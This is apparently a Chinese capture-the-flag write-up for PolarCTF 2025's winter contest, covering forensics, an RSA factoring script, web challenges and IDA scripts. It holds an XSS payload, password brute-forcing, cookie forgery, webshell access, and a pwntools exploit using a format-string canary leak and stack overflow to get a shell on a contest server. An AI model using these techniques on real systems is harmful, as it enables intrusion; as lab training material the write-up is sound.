PolarCTF 2025冬季挑战赛 WP
1-7 Virtual_currency
本题思路如下:
仿真ubuntu
账号huanglei密码19460214
执行查看ip、启动镜像操作

1、然后可以打开ip地址查看平台

可以看出是Polar币
2-4、火眼仿真查看日志

答案都在末尾一部分

5、显示隐藏文件C盘根目录找到一个exe

1-8 Source of danger
本题思路如下:
1、 过滤http

2、 追踪流发现是Edge

3、 对象可导出

ChatGPT

4-5、最后有一个upload,发现是Python上传的,网站就是对应那个

2-2 EzAES
本题思路如下:![]() |
2-4 xiaoji的RSA
import libnum
from Crypto.Util.number import long_to_bytes
# 题目给出的数据
h1 = 14598570770570369251044298637863318854969244053819114954671895416691350802920687681668270301378543649113252159681469894140327953343981428435557763783575047421073785093934100988516182011757805151301552786226747639175213248064364104458391503594386384710007637410647669428289271030281975860741433987188926890687769189330536656978907095466736760156091550669274865538908426382007469741745093518762985240171234021436305408209014615992584706412209748494302146308826117702351113891442300797965409831595569786933763773967575744129781374727612526423706127336276048951135368854093017991855415497273999713365969103371554004824509
h2 = 11655430400126708521266628893465012008156070100550313215125940102411494976112918677189030755406554269846801368688286768397687408859238412058773272768466345174217960738213084397497134648104645110774595383007722678343723326165844773931623583737649558732929341710652376370393000666923877685083880991816166675473675993119565288119886891401337292448811477124318462203416303782364411201690259713617106545395093938159021072322598644028525378190756212177234492649667270787158675885995463312527798325191816554894434526912762675422186788558909636033206644624947398671285555871818986699430277747968998624440765160214625508302582
n = 16117539256891249484718413429700173002583084988861340273782389608188420881800342876872775121756821301056788500260045796850939585388076522939011021777251658702207624594144564384121357888401608404641571728859619754015070281985119363898471820577703197516678288716301039869441770173970562352919565912788016889342101896134309321994797037369608180360632790282197647969119609543804552490560372790883065970972189091831856508916272396614853136857081227250153104695845022919856333090412792344985816893032033703744649648621089458783293225651830841418574525258165458710362104364949367148707705685722700758399918195168711661909001
c_sum = 18062960292926203405106631570645792887346762710596094595946201638145269792362432970619678514073768330282072122297774770846723026262793638145140252714036118255298935496782643261099997757452005888950084317572578983859160308143219449311014720216597693717833093096186064214815571678655104145532183363580096161113659794514705540535423432576540755810113817779577012494191762397204056012915596163266097092210799790994886142736276356044755057247863118120000651380079123033610186723297866795705886993017274323290850712391555552018597217459748407996232225971214252337750534257640641166056960137653051788480104937847471213865531
leak = 29786109562795434767286575222202920392934698151772733519827029723076564127577506924725472620552207928305324807071633980845799428305323747287497587012814817694240321762385052643719779704776885137653915759833442842418374852111545817139388092965791383085268376283252367393215830021523854878152740193684532064211244526477475872824124551317767515936013314015487953976823909663377712672258700701049790904432754196590520755614551428222850284265995888579989169357385240073615572407415594868320441237551194011351100321407974631166974196395240849462596136681294133772802147270429624576958515766511950802469230517874955000694776
# 1. 恢复 c1, c2
# c1 + c2 = c_sum
# 2*c1 - c2 = leak
# 两式相加: 3*c1 = c_sum + leak
c1 = (c_sum + leak) // 3
c2 = c_sum - c1
# 2. 分解 N
e1 = 7717
e2 = 8859
# 构造 GCD 攻击
# h1^e2 * 2025^(e1*e2) == h2^e1 * 2024^(e1*e2) (mod p)
val1 = pow(h1, e2, n) * pow(2025, e1 * e2, n) % n
val2 = pow(h2, e1, n) * pow(2024, e1 * e2, n) % n
diff = (val1 - val2) % n
p = libnum.gcd(diff, n)
q = n // p
print(f"[+] Found p: {p}")
print(f"[+] Found q: {q}")
# 3. RSA 解密
e = 0x10001
phi = (p - 1) * (q - 1)
d = libnum.invmod(e, phi)
m1 = pow(c1, d, n)
m2 = pow(c2, d, n)
flag_part1 = long_to_bytes(m1)
flag_part2 = long_to_bytes(m2)
print(f"[+] Flag: {flag_part1 + flag_part2}")
3-1 来个弹窗2.0
本题思路如下:<img src=x onerror=alert(0)>弹窗成功 是海贼王里的,直接做 ![]() |
3-2 help
| 本题思路如下: Base64转一下就行 ![]() |
3-3 cookie欺骗2.0
| 本题思路如下: 测试账号登录,发现cookie组成形式user用户名,auth是rot13编码改一下就行 ![]() ![]() |
3-4 uii
本题思路如下:![]() Payload:?uii=%59zz ![]() |
3-6 aa
| 本题思路如下: 有个i.php ![]() |
进入后解题,![]() 这三个连在一起就是flag |
3-8 PolarShop
| 本题思路如下: 抓包修改金币数 ![]() 第二个是账号,第三个是密码本 ![]() Bp爆破出密码,密码是5qu1rtle 扫出/admin.php Cookie也改掉 ![]() |
3-9 金币大挑战
| 本题思路如下: 延迟发包进入论坛 最后有个文件密码1170 进去之后得到Squirtle1170 根据论坛的提示找到/uploads/Squirtle.php,拿上面的密码进行蚁剑 ![]() |
3-10 论坛
| 本题思路如下: 扫出来一个 ![]() 提示也是进论坛 ![]() 直接访问即可 ![]() |
3-11 polarflag
|本题思路如下:
密码本给了
账号提示在flag.php
解密后得出账号为polar
账号polar密码6666
先ls
Flag叫polarflag
|
4-1 练习1
用mcp分析
首先写ida脚本导出可能的flag
# export_ida_strings2.py
# 在 IDA 中运行:File -> Script file... 选择本文件
from __future__ import print_function
import idautils
import idaapi
import idc
import sys
import os
import re
out_path = r"C:\Users\liang\Desktop\ida_strings.txt"
# 可扩展关键词列表
keywords = ['flag', 'FLAG', 'CTF', 'picoCTF', 'flag{', 'FLAG{', 'FLAG:', 'flag:']
def read_str_at(ea):
# 尝试读取 C 字符串(按字节)
try:
b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C)
if b:
try:
return b.decode('utf-8', 'ignore')
except:
return b.decode('latin-1', 'ignore')
except Exception:
pass
# 尝试读取 unicode/wide 字符串
try:
b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16)
if b:
try:
return b.decode('utf-16le', 'ignore')
except:
return b.decode('latin-1', 'ignore')
except Exception:
pass
# 备用:如果 idautils.Strings 对象有 .value/.str/.string 字段
return None
def normalize(s):
if s is None:
return ""
return s.replace('\r','').replace('\n','\\n')
def main():
strings = list(idautils.Strings())
matches = []
total = 0
with open(out_path, 'w', encoding='utf-8', errors='ignore') as out:
out.write("EA\tType\tString\n")
for s in strings:
total += 1
ea = getattr(s, 'ea', getattr(s, 'start', None))
# try extracting by idc API
text = None
if ea:
text = read_str_at(ea)
# fallback to attributes of the object
if not text:
# Some IDA versions expose different attributes
for attr in ('value','string','str','cstr'):
if hasattr(s, attr):
try:
v = getattr(s, attr)
if isinstance(v, (bytes, bytearray)):
try:
text = v.decode('utf-8','ignore')
except:
text = v.decode('latin-1','ignore')
else:
text = str(v)
break
except Exception:
continue
if not text:
# last resort: try idc.get_wide_word/byte sequences - skip for speed
text = "<unreadable>"
out.write("0x{0:X}\t{1}\t{2}\n".format(ea if ea else 0, type(s).__name__, normalize(text)))
# 查关键词(不区分大小写并保留原文判断)
low = text.lower() if isinstance(text, str) else ""
for k in keywords:
if k.lower() in low:
matches.append((ea, text))
break
print("Wrote {} strings to: {}".format(total, out_path))
if matches:
print("Possible flag-like matches (EA, string):")
for ea, text in matches:
print("0x{0:X}\t{1}".format(ea if ea else 0, text))
else:
print("No obvious flag-like strings found (checked keywords {}).".format(keywords))
if __name__ == "__main__":
main()
然后发现疑似flag,再看函数
# find_xrefs_and_decompile.py
# 在 IDA 中运行:File -> Script file... 或 Alt+F7
from __future__ import print_function
import idautils
import idaapi
import idc
import sys
TARGET_EA = 0x14001ACF0 # 要检查的字符串地址
def read_string(ea):
try:
b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C)
if b:
try:
return b.decode('utf-8', 'ignore')
except:
return b.decode('latin-1', 'ignore')
except:
pass
try:
b = idc.get_strlit_contents(ea, -1, idc.STRTYPE_C_16)
if b:
try:
return b.decode('utf-16le', 'ignore')
except:
return b.decode('latin-1', 'ignore')
except:
pass
return "<no-string>"
def decompile_func_at(ea):
try:
cfunc = idaapi.decompile(ea)
return str(cfunc)
except Exception as e:
# Hex-Rays 不可用或反编译失败,返回部分反汇编作为回退
lines = []
for i, insn in enumerate(idautils.FuncItems(ea)):
lines.append("0x{0:X}: {1}".format(insn, idc.GetDisasm(insn)))
if i > 200:
break
return "\n".join(lines)
def main():
print("Target EA: 0x{0:X}".format(TARGET_EA))
print("String at target:", read_string(TARGET_EA))
print("Searching XrefsTo...")
xrefs = list(idautils.XrefsTo(TARGET_EA))
if not xrefs:
print("No Xrefs found to 0x{0:X}.".format(TARGET_EA))
return
for xr in xrefs:
print("-" * 60)
print("Ref from: 0x{0:X} type:{1}".format(xr.frm, xr.type))
func = idaapi.get_func(xr.frm)
if func:
start = func.start_ea
end = func.end_ea
print("Function: 0x{0:X} - 0x{1:X}".format(start, end))
print("Attempting to decompile function at 0x{0:X} ...".format(start))
decomp = decompile_func_at(start)
print(decomp)
else:
print("No function contains the ref (maybe data xref). Disasm around ref:")
# print a few instructions around the ref
for addr in range(max(0, xr.frm-16), xr.frm+16, 1):
# only print valid instructions
try:
d = idc.GetDisasm(addr)
if d:
print("0x{0:X}: {1}".format(addr, d))
except:
pass
if __name__ == "__main__":
main()
最后自动分析得到结果

5-4 choice
_#!/usr/bin/env python3_
from pwn import *
_# pwntools PoC:_ _利用 format-string 覆盖 printf@GOT 为 backdoor 地址_
_#_ _说明:此脚本假设在本地运行 ./pwn1(与 IDA 中打开的二进制相同)。_
_#_ _如果是远程服务,请将 process(...) 替换为 remote(host, port)_
exe_path = './pwn1'
elf = ELF(exe_path)
context.binary = elf
context.terminal = ['powershell.exe', '-c']
**def** fuzz_offset():
_#_ _自动化探测偏移量和 Canary_
print("Starting fuzzing...")
for i in range(1, 40):
try:
p = remote('1.95.7.68', 2089) _#_ _或者 process(exe_path) 本地测试_
_#_ _接收菜单_
p.recvuntil(**b**'enter your choice:')
p.sendline(**b**'2')
_#_ _接收提示_
p.recvuntil(**b**'think again')
_#_ _发送 payload_
_#_ _使用 send 而不是 sendline,避免不必要的换行符占用空间,除非需要_
_#_ _但是 read 会一直读直到 32 字节或者 EOF?_
_#_ _不,read(0, buf, 32) 会阻塞直到有输入。_
_#_ _如果是终端,按回车会发送数据。_
_#_ _让我们发送明确的 payload_
payload = **f**'%{i}$p'.encode()
p.sendline(payload)
_#_ _读取输出_
_# printf(buf)_ _会输出我们的 payload 解析结果_
_#_ _紧接着函数返回,回到 main 循环,再次打印菜单 "what's the game plan?"_
_#_ _所以我们可以读取直到 "what's the game plan?"_
try:
_#_ _读取所有输出直到下一个菜单出现_
response = p.recvuntil(**b**"what's the game plan?", timeout=1)
_#_ _我们的泄露信息应该在 response 开头_
print(**f**'Offset {i}: {response}')
except EOFError:
print(**f**'Offset {i}: EOF')
except Exception as e:
print(**f**'Offset {i}: Timeout or Error {e}')
p.close()
except Exception as e:
print(**f**'Offset {i} error: {e}')
if 'p' in locals(): p.close()
**def** exploit_canary():
_# 1._ _利用 fmt 泄露 Canary_
p = remote('1.95.7.68', 2089)
_# Step 1: Select Plan 2 (Format String) to leak Canary_
p.recvuntil(**b**'enter your choice:')
p.sendline(**b**'2')
p.recvuntil(**b**'think again')
_#_ _发送 payload 泄露 Canary (Offset 25)_
_#_ _注意:read 只能读 32 字节,payload 要短_
p.sendline(**b**'%25$p')
_#_ _解析输出_
try:
_#_ _读取直到菜单再次出现,中间包含泄露信息_
output = p.recvuntil(**b**'enter your choice:')
print(**f**"Leak output raw: {output}")
_#_ _提取 hex 字符串_
import re
_#_ _查找类似于 0x... 的字符串_
match = re.search(**b**'(0x[0-9a-f]+)', output)
if not match:
log.error("Failed to find leak in output")
return
canary_str = match.group(1)
canary = int(canary_str, 16)
log.info(**f**"Canary found: {hex(canary)}")
_#_ _验证 Canary 特征 (低字节为 00)_
if (canary & **0x**ff) != 0:
log.warning("Warning: Leaked value does not look like a canary (LSB != 00)")
_# Step 2: Select Plan 1 (Stack Overflow)_
p.sendline(**b**'1')
p.recvuntil(**b**'are you sure?')
_#_ _构造栈溢出 payload_
_# buf (152 bytes) + canary (8 bytes) + saved_rbp (8 bytes) + return_addr_
_#_ _注意:p64 需要 from pwn import *_
backdoor_addr = **0x**40095b
_#_ _尝试跳过 prologue 以解决栈对齐问题,或者添加 ret gadget_
_# 0x40095b: push rbp_
_# 0x40095c: mov rbp, rsp_
_# 0x40095f: mov edi, ..._
_#_ _查找 ret gadget 用于对齐_
_# ROPgadget --binary pwn1 | grep ret_
_#_ _或者直接用 pwntools_
rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]
log.info(**f**"Ret gadget: {hex(ret_gadget)}")
payload = **b**'A' * 152
payload += p64(canary)
payload += **b**'B' * 8 _# saved rbp_
_#_ _尝试 1: 直接跳转 (已失败)_
_# payload += p64(backdoor_addr)_
_#_ _尝试 2: 添加 ret gadget 对齐栈_
payload += p64(ret_gadget)
payload += p64(backdoor_addr)
log.info(**f**"Sending payload length: {len(payload)}")
p.sendline(payload)
_#_ _切换到交互模式_
_#_ _如果成功,应该获得 shell_
p.interactive()
except Exception as e:
log.error(**f**"Exploit failed: {e}")
p.close()
if __name__ == '__main__':
_#_ _建议先运行 fuzz 确定 offset,然后运行 exploit_
_# fuzz_offset()_
exploit_canary()
6-3 点击挑战
真的点了一万次


















浙公网安备 33010602011771号